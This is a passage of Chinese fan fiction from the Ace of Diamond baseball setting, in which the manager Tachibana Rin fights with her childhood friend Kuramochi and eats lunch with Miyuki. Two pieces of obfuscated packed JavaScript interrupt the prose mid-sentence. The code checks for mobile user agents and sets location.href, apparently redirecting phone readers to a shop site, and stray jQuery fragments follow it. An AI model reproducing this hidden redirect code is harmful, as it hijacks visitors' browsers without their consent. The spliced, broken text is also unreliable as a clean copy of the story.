随后走进来的橘铃看见被学姐们围在一起的成宫鸣,惊讶道:“成宫,你的学长正在找你,你怎么在这里?” “成宫?”正在可爱笑着的成宫鸣的耳朵立马放大,他不满地说:“你不是我的粉丝吗,怎么能这样叫我,我的名字是鸣!要叫我鸣,你对一也也是这样的吗!” 橘铃没明白成宫鸣在发什么脾气:“什么,御幸吗?我确实只是叫他御幸。” “是哦。”有经理在后面思考着,“铃好像只叫过仓持的名字耶。” 橘铃理所当然地过渡掉了这句话。 被噎住的成宫鸣不管不顾地开始耍赖:“不行,不可以,叫我鸣,叫成宫太生疏了,我身边还没有人叫我成宫呢!” 五年级小学生。 橘铃败下阵来:“好好我知道了,鸣,刚刚你们稻实的捕手到处在找你,我看他脸色很可怕。” 成宫鸣那坚不可摧的耍赖表情终于变了,他面色慌张,又像想起什么伸手对橘铃说:“手机。” “哈?”橘铃没看懂他是要干嘛。 “快点啦!要来不及了。”成宫鸣又把自己的手往前送了送。 橘铃掏出自己的手机,便被成宫鸣一把抢过去:“line,line,在这里,添加好友,好了!跟不用老年机的人交流方便多了。” 被说用老年机的御幸掏出了自己板砖老人机:“邮箱不也很好用吗?” 短短半分钟,橘铃的手机屏幕里就多出了一个猫猫头好友,备注已经被成宫鸣改好了:最厉害的投手 鸣。 “…………” “哼,感动吧,你拥有东京第一投手的line了。”成宫鸣骄傲地抬起下巴,然后紧张地往外冲去,嘴里大声叫道,“拜拜啦,一也,铃。” 完全是我行我素的小学五年级学生,稻实的人估计做梦也想不到他们的投手已经混进了对手的食堂。 “等等,我也要出去。”队员们越来越多地聚集到了食堂,她对学姐说道:“我先去找一下小礼。” 她跟在成宫鸣身后,恰好遇见了跟着白州一起进来的仓持。 她冲白州点头示意,忽略过他身边的仓持,越过他们走到成宫鸣旁边。 “刚刚比赛的时候我就想说了。”成宫鸣不大不小的声音在她耳边响起,“你们的一棒一定是个不良少年,你看,那张脸好像下一刻就要在街边堵我,哇可怕。” 本来无视着仓持的橘铃表情一下变了,她一副想笑又要假装维持没有表情的样子让成宫鸣疑惑道:“铃,你的脸抽筋了吗?” 似有所感的仓持目光凝滞,他听到离他不远处,橘铃熟悉的声音说道:“没什么,你还真是好眼光。” 这意味着什么? 他不想多想,走到了御幸身边坐下。 “表现不错嘛,你今天。”他听到自己说。 御幸说:“还好,就比你好上那么一点。” 21. 吵架 令人火大的回答。 但是仓持不得不承认他说的是实话,这个男人总是一副可靠的样子,就是因为这样,铃才…… 不对,他压下心中的妒意,这是他和橘铃的事,和这个家伙无关。 自从生日那天过后,铃就一直在躲他,同时对他爱搭不理,他的心情从最开始的后悔,焦虑到现在的麻木。 他试图跟她说话,她会装作没听见,发出的line消息全数石沉大海。 但是他不明白这是什么意思,如果讨厌他的话,拒绝不是就好了吗? 可是他不想从她嘴里听见拒绝。 他甚至开始怀念他们两之前的关系,如果没有做出改变,她是不是还是会开心地叫他小洋呢? 不,只要不听见明确的拒绝,他是不会放弃的。 “我说,你道歉了吗?”旁边的御幸说。 仓持愣了一下,看向御幸。 “虽然不知道你们为什么吵架,看起来应该是你的原因。”御幸搅着面前的味噌汤,“如果能把自己歉意的心情好好传达给对方,或许情况会好转吧?” 道歉? 他好像说过,在亲她前后。 仓持捂住了眼睛。 要怎么道歉?很抱歉亲了你,可以原谅我吗? 这种话怎么想只会让铃更生气吧。 发现听了自己的话脸色更差的仓持后,御幸喝了一口味增汤。 真的越来越好奇他们两到底因为什么吵架了,不过看他们两这样子,还能再看一段时间热闹。 “御幸。”仓持忽然开口道。 “嗯?”御幸抬起头。 “你觉得,橘是一个什么样的人呢?” 已经开始思考人生到这种程度了吗。 他想了想,回道:“一个还挺有意思的经理。” *** 下午放学后,学生们熙熙攘攘地从校门口离开,一个穿着截然不同校服的女生站在了青道校门口。 她看着青道的大门,嘴里发出“哇——”的惊叹,低声笑道:“名门青道啊,让我来看看~” 她随机拦住一个学生,满脸笑容地问道:“请问~这里是青道高中吗~” 什么奇怪的问题? 被她逮住的青道学生回头看了一眼校门口的招牌,语气惊疑不定:“这里不是写的清清楚楚吗!青道私立高中。” “喔。”不耐烦的语气丝毫没有影响到女孩,她仍旧保持的满脸笑容,“请问,你认识橘铃吗,高中一年级?” “不认识。”哪里有人会随便认识高一学生啊,那个人奇怪地看了她一眼,准备走掉。 而那个女生并没有让他走的意思,她拦在学生面前,接着微笑着说道:“诶,好奇怪,前几个月刚替你们学校赢下了全国数学竞赛的诶,你不认识吗?” 好高。学生这才注意,这个女孩起码有170,比他还高。 “真的不认识!”学生摇了摇头,绕开她走掉,“莫名其妙。” “什么嘛,竟然不认识。”女孩失望地摇了摇头,接着又露出了一个灿烂的笑容,“那再随便问问看好了。” “请问,你认识一个叫橘铃的高中一年级学生吗?” 接连得到否认的回答,她将书包提到肩上,往校内看去,语气遗憾:“算咯,下次再来吧,看来你在这里混的也不怎么样嘛。” 橘铃收拾好自己的作业准备离开,仓持和御幸早就走了,高桥由衣在她座位面前玩着手机。 “你最近没去吹奏部训练吗?”她问。 高桥由衣闻言,露出一个不好意思的笑容:“哎呀,训练好累哦,偶尔也要偷偷懒嘛,还是约会适合我。你最近的感情动向怎么样啦?” “感情动向?” “是哦是哦,你拒绝了仓持吗?有跟御幸更进一步了吗?” 橘铃摇头道:“我跟仓持不是那种关系,跟御幸也……” “也……”高桥由衣抓住了她的停顿。 橘铃犹豫道:“我们是朋友。” “不是我说,你的进展太慢了吧!”高桥由衣恨铁不成钢,“虽然我不懂那个眼镜有什么魅力,但是想要的就要努力去得到不是吗,说不出口的遗憾和被拒绝不是一样痛苦吗?” “被拒绝的痛苦吗?”橘铃不知在想什么。 “喂,怎么还没开始就在想失败了?”高桥由衣凑近橘铃,近距离观察着她的脸,“没有人能够拒绝长得可爱的优等生的告白,唉,我长这样就好了。” 橘铃看着突然靠近的高桥由衣,忽然露出一个笑容,那个笑容明明看起来温柔,却让高桥由衣打了个哆嗦,她后退几许,就听见橘铃说道:“由衣,并不是所有优等生都是好东西哦。” 窗外,校门口穿着外校校服的女生转身离去。 “下午好~” 和遇见的棒球部部员们打完招呼,橘铃拉开食堂的门,夏川唯和梅本幸子都在里面坐好了。 “抱歉,我来晚了。”她拉开椅子坐下。 “铃,你跟朋友聊天去了吗?”夏川唯说道,“是初中同学吗?” 橘铃一时间没反应过来她在说什么,她拿过夏川唯面前的一叠资料:“什么朋友?我刚刚在教室和我们班的高桥由衣聊天。” “这样吗?”夏川唯和梅本幸子对视一眼。 “怎么了?”橘铃问道。 “刚刚我听说,有个外校的女生一直在校门口找你。”夏川唯说,“现在已经走了。” “找我?”橘铃说,“谁?” “不知道。”梅本幸子插嘴道,“说穿的樱叶女子高中的校服,那个偏差值很高的私立学校吧?” 橘铃的笑容僵在了脸上,手中的资料直直掉在桌子上。 两位经理立马看向她。 “我手滑了,不好意思。”橘铃说着,翻开了资料。 樱叶女子高中。 那不是清水绫在的高中吗? 她完全没办法维持笑容,面前的资料在此刻都变成天文数字,一个字都看不进去。 她说:“那个人长什么样子?” 梅本想了想说道:“听说好像很高呢,个子超过了170。” 清水绫。 果然是她。 橘铃甚至控制不住自己翻页的手,夏川唯问道:“是你认识的人吗?” “不。”她听到自己的声音异常冷静,“我不认识。” 这个消息破坏了橘铃一天的心情,她甚至觉得自己有点倒霉。 她不明白清水绫专门从东东京跑到青道来找她?为什么?既然大家都去了不同的高中,过去就已经是过去了。 太糟了。 这个她拼命想遗忘的人。 原本已经熟悉的工作在这个时候无论如何都做不进去,她试着深呼吸也没什么作用。 “我去买点水,你们要吗?”食堂里的空气让她窒息,她站起来问道。 在得到经理们不要的答复后,她自己去了贩卖机。 只有喝点甜的提下神,橘铃站在自动贩卖机前,躲过外面的毒辣的太阳,在机器上按了按,选了桃子味的气泡水。 然而机器响了两下,水迟迟没掉下来。 坏了? 她敲了敲自动贩卖机,机器咔咔响了两下,又重回寂静。 她挑起眉头,明显感到自己的心情更糟糕了。 心情糟糕,天气又热,这贩卖机又不知道抽什么风。 “喂,再给你一次机会。”橘铃低声说道,敲了两下机器外壁,又开始按着出货按钮。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088407|195410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >仍旧毫无反应。 橘铃忍无可忍,取下头上的帽子,一脚踢了上去:“什么东西啊!” 被暴力执法的自动贩卖机响了两声,乖乖地吐出了几瓶水。 “我只买了一瓶。”橘铃没好气地说道,捡起自己买的气泡水,这样也没让她的心情好点。 “烦死了。”她低声骂道,一转身,仓持正站在她身后担心地看着她。 刚刚的所有行为他应该都看见了,她将手中的帽子重新带回去,无语地闭上眼睛。 她还是没做好要跟仓持说话的准备。 在这种只有两个人的情形下,她又想起了那晚上的那个吻,那个冰冷又带着甜味的吻。 好了,别想了。 橘铃压了压头上的帽子,尽量遮住自己的脸,准备从仓持身边绕过去。 “铃。” 在她即将从仓持身边走过去时,仓持说话了。 “你还好吗?” 这句话让橘铃停下了脚步。 我好不好,你不知道吗? 难得烦躁,这是橘铃第一次感觉自己要压不住自己的情绪。 是天气太热了吧? 她深吸一口气,不打算回答,准备离开。 但是仓持并不想让她走,他又开口道:“你最近真的一句话都不想跟我说吗?” 最近? 她淡淡说道:“你该回去训练了。” 可恶,能不能看看脸色,她现在明显是不想跟他说一句话好吗?问这种事情又有什么意义呢? 仓持没有回答,橘铃一抬眼,就看见了仓持那透露着难过的脸。 难过? 你有什么好难过的?觉得莫名其妙的人是她好吧! 橘铃拉着气泡水的拉环的动作一顿,她的理智已经在快要崩断的边缘了。 “你在难过什么劲?” 没想到橘铃会这么说话的仓持一愣:“我没……” 橘铃侧过头,一字一句地说:“我跟不跟你说话,这不应该问你自己吗?” 仓持垂下眼睛,他像是知道理亏,不再说话。 这表情让橘铃莫名火大,她走过去,扯住仓持的领子:“仓持洋一,你在这儿难过什么啊?生气的人是我才对!你好意思吗!” “抱歉……”他小声说道。 “道歉有什么用啊!”橘铃吼道,“知道抱歉就不要做那种事啊!” 每一个人,每一个事,都烦死了! “我讨厌你!” 说完,她甩开仓持的领子,气冲冲地走回去。 一拐角,偶遇一群听墙角的人。 “……” 满脸不爽的橘铃她仰着下巴,露出一个皮笑肉不笑的微笑:“有事吗?” “女版小凑亮介!” 学长们打着哈哈快速逃离,橘铃直接逮住了没跑掉的御幸。 “你也在听墙角?好听吗?” 橘铃淡淡说道,她捏紧手中的瓶子,瓶子发出喀拉的声音。 哇,她这是在生气吗?第一次见她生气。 御幸低下头,老实道歉道:“对不起。” 橘铃冷哼一声,绕过他走了过去。 她现在食堂门口,放松着脸部肌肉,又换上了平时亲切友好的表情。 “我回来了。” “铃,刚刚外面好大声,发生什么事了吗?”夏川唯关心地问道。 “没什么,可能学长们又发生了什么新鲜事吧。”她坐下,竟然觉得自己心情好了很多,刚刚那无论如何都看不进去的文字也轻松了许多。 原来吵架还有这种功效? 至于仓持刚刚的表情,她闭了闭眼,想把那张脸从她脑海里赶出去。 要怪,她转了转笔,就怪天气太热了吧。 22. 欠人情 “这是今天的便当。” 妈妈从厨房拿出一个包放在桌上。 正在吃早饭的橘铃应了一声。 “有两份哦,到时候你把大的那份给小洋。” 橘铃没说话。 “听见了没?”妈妈凑近橘铃。 “怎么突然想起要给他带便当?”橘铃戳着碗中的煎蛋,“棒球部伙食很好,不需要我们操心。” “这是什么话?”妈妈抱起手腕,“你都带便当,小洋一个人在东京,没人照顾他,我们当然要兼任起父母的责任。” “那你们的亲女儿需要你们当起父母的责任,给我多一点的零花钱,拜托了。”橘铃伸出手。 妈妈打掉她的手,眯起双眼:“你这个态度,怎么回事呢?你跟小洋闹矛盾了吗?” “没有。只是要让我做跑腿让我感觉十分不爽。”橘铃一口否认,吃下那个已经被她戳的四分五裂的煎蛋。 “缺零花钱啦?”妈妈准备开始摸包,“你有什么想买的东西吗?” “没有,只是随便说说,钱不嫌多嘛。”橘铃又伸出手,“谢谢美纱子女士,爱你。” “贫嘴。”妈妈掏出零花钱给了橘铃。 橘铃提起包,手上的重量让她皱起了眉头:“好重,合理的跑腿费。” “你该锻炼了,上次还低血糖晕倒,注意学习的时候也要注重身体啊!你看棒球部的两个男生,他们体格都挺好。” “比起学长来,他们差远了。”不知道是第几个人说她要注意身体了,橘铃思索着,那要开始跑步吗? “我走了,拜拜。” “路上小心。” 这个东西要怎么给仓持? 她冥思苦想地走进教室,刚好和进入教室的仓持遇上。 如果是之前,仓持会熟稔地跟她打招呼,就算那之后,他也会主动地说句早。 但是争吵以后,两人相遇,仓持就会像现在一样,偏过头从她身边离开,而手机时不时要弹出一条消息的line也早就没了。 完全冰点。 好不容易有缘分能在东京相遇的青梅竹马,如今成了这副样子,但是她绝不承认她有一点问题。 所以这个便当。 她把便当塞在抽屉里,开始头疼。 这种情况下让她去送便当,怎么想都是她先示好吧? 绝对不要。 但是便当如果不送出去,按照爸妈那个心思一定会起疑。 “由衣,你中午吃便当吗?”橘铃走到高桥由衣身边,她正面露猥琐笑容地回着消息。 闻言她用手比了个嘘的姿势凑在橘铃耳边悄悄说:“忘记告诉你了,我中午要出去,保密!” 哦,逃课。 橘铃脑袋更疼了,她回到座位,目光悄悄扫向仓持的座位,意外发现他不在。 不在的话……她靠在椅子上,向右后方看去,仓持正站在御幸面前跟他说着话。 棒球部关系真好。 一个想法渐渐从脑子里成形,大大的灯泡亮在她的头上,这个便当可以给御幸啊! 在仓持离开御幸桌前的下一刻,她拿着便当站在了御幸面前。 令橘铃意外的是,看见她出现,御幸竟然挺直了背,露出一副难以形容,不,他那一贯贱贱的笑容中竟然隐藏着一丝丝讨好。 她狐疑地又看了看,果然发现那是她的错觉。 “御幸,辛苦了,这是我给你的礼物。”说着,她把便当放在了桌上,介绍道:“为棒球人士专制的营养便当。” “啊。”御幸低头看了看那个便当,准备说一些婉拒的话,“我可能……” 不行,绝对不能让他拒绝了,她一个人吃不下两份! 橘铃马上说道:“好了,不许拒绝,算你欠我个人情。” 御幸怀疑自己耳朵出现了问题:“你欠我一个人情吗?” “是你欠我一个人情。” 御幸没明白这是什么情况,他抬起头,想起上周听墙角被抓的尴尬一幕,八字眉翘起,要拒绝的话在嘴里拐了个弯:“好吧,我收下,这是你做的吗?” 话一问出口,他发现不对,女生送自己做的便当给异性,那不意味着…… “怎么可能,我很忙的。”橘铃浑然不在意,她的脸上是事情终于解决完的放松,“辛苦你啦。” 什么嘛,不是她做的啊,所以为什么要给他呢? 御幸看着那摆放着精致菜系的便当,收在了抽屉里。 “对了,我还没关心你们中午一般吃什么呢?早上吃了三碗饭,中午还有胃口吃饭吗。” “吃食堂。”御幸说,“今天可以吃便当了,我还是上了高中第一次吃便当。” 也是,作为棒球留学而来的御幸,生活里几乎都被棒球填满,没有时间也没有环境做便当,他这个嘴巴又不会招女生喜欢。 橘铃想着,说道:“那中午要不要一起吃?” 御幸猛地一抬头。 橘铃突然卡壳,她这么说的话,心思太明显了吧?? 她赶紧找补道:“不,我想平时都吃食堂的话,应该不知道哪里适合吃便当吧?我平时和由衣有个很好的地方,想着你也可以来……不对,你不来也没关系……” 啊,到底在说什么啊,虽然她有这种心思,她还没准备好要捅破那层窗户纸,特别是现在跟仓持关系恶劣的时候。 “好。”她听见御幸这么说。 答应了? “今天由衣不在,只有我们俩哦,没关系吗?”她再次确认道,心底滋生了隐秘的情绪。 他居然答应了。 “没事,如果你介意的话我可以不去。”御幸说。 “没有没有,怎么会,那我中午来找你。”橘铃赶紧说道,她比了个ok,转过身那轻快的步伐昭示着她的愉悦。 不过,为什么会答应呢? 她回头,御幸那带着黑框眼镜的脸一如往常,看不出有什么区别。 但是她心情不错,真是这段时间难得令她高兴的事情了。 御幸低头就能看见自己放在抽屉里的便当。 待橘铃走后,他才意识到,其实是不应该答应的。 他的目光挪向仓持,心里暗自说了句抱歉。 他不讨厌跟橘铃待在一起,甚至有时候很轻松。 只是…… 他蜷了蜷小拇指,将便当往里推了推,他闭上眼睛,吐出一口气。 就这样吧。 “没关系吗?”橘铃走在前面,回头说道。 刚下课她就看见仓持熟练地走到御幸面前,不知道御幸说了什么,仓持就走了。 “你说这个么?”御幸提了提手中的便当,“我答应了你。” 答应了我。 短短一句话,令橘铃耳根发热。 虽然御幸就是这样的人,但是这种经由他口中说出的话,仿佛又有了别的意味。 最后的终点是一年级的空教室,是上锁的。 “这要怎么进去?”御幸话还没说完,橘铃就不知道从哪里掏出了一把钥匙,她自然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088408|195410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地打开教室,注意到御幸的震惊,眨了眨眼睛:“优等生的便利。” “这个教室是竞赛期间学习用的啦,老师就把钥匙给我了,是一个很好的地方,又清净又不会有人打扰,所以我跟由衣中午一般在这里吃饭。” 两人在角落坐好,橘铃虔诚地举起筷子:“我开动了。” “不过这里会有点冷清,我也有想过天台,但是天台太热了,没什么遮挡。” 御幸拆开便当,里面的豪华程度让他愣了神,他怀疑地看向橘铃,这明显是专心准备的。 “你这是什么眼神?”橘铃说,“这种时候就要心怀感激地吃下去。” “这是给别人准备好的吧?”御幸拿起筷子,夹起一块玉子烧,“不是你做的话,是你家里人做给仓持的吗?” 橘铃又不说话了。 太明显了。 御幸没由来觉得很搞笑,他们两闹矛盾像小学生吵架,是加了鸣的好友后被同化了吗? “对不起。” 正在吃饭的橘铃抬起眼:“什么?” “那个啊,我说上次偷听那个事,不,我们不是在偷听,只是刚好经过。”御幸咬了一口玉子烧,甜咸的味道,他们一家人厨艺都不错,“三年级的田中学长说不能出声让你们尴尬,没想到你们就吵起来了。” 说着他观察着橘铃的表情,橘铃脸上没什么表情,甚至她平时常有的温和笑脸都没有。 在他面前的橘铃,是真实的橘铃吗? “你们是在球场训练吧,那不是另外一个方向吗?” “刚好要下半身力量训练。” “不用道歉,跟你们无关。”橘铃说,“我还是情绪激动了,对仓持都……还是不应该吵架的。” “仓持?”御幸说,“不是小洋嘛?” “……”橘铃说,“你这人真的很讨厌,意识到就不要说出来啊。” 御幸笑了。 那是一个温柔,可以这么形容吗?温柔又带着他平时的痞气,橘铃听到他说:“那还真是抱歉。” 她的脸红了。 她慌乱低下头,另一只手捂住发烫的耳朵,食之无味地吃了几口饭。 完全吃不下了。 她说:“御幸,我……” “嗯?”刚把一个章鱼肠放进嘴里的御幸抬起头。 一股冲动自下而上袭来,橘铃忍不住就要说出,但是此刻,高桥由衣说的那句话又在她耳边响起。 被拒绝的痛苦。 当时想要说出口的仓持是不是就是抱着这样的心情呢? 她霎时冷静,脸上褪不下去的温度显示着她刚刚的悸动。 “你这周末有空吗?欠我的人情,不如陪我去一个地方吧。” 御幸说:“还真欠你人情啊。” “你碗里吃的可是干干净净!” 不愧是棒球少年,橘铃自觉要吃两顿的量御幸已经吃的差不多了,难以想象他早上还吃了三碗饭。 “这到底是什么食量……你们吃这么多不觉得难受吗。” “现在习惯了还好,刚入学的时候我也不习惯啊,所以我会悄悄把饭挪到前园碗里,那家伙吃的直哭。” “御幸一也,你真的太恶劣了!” “还好吧,我觉得我不错呢,哈哈。” 橘铃放下筷子,认真问道:“这周天可以吗?” 御幸稍稍收敛了嘴角的笑容,他看着直视着他的少女,她金色的眼睛宛若宝石一般流溢。 几乎是一种冲动,他说:“好啊。”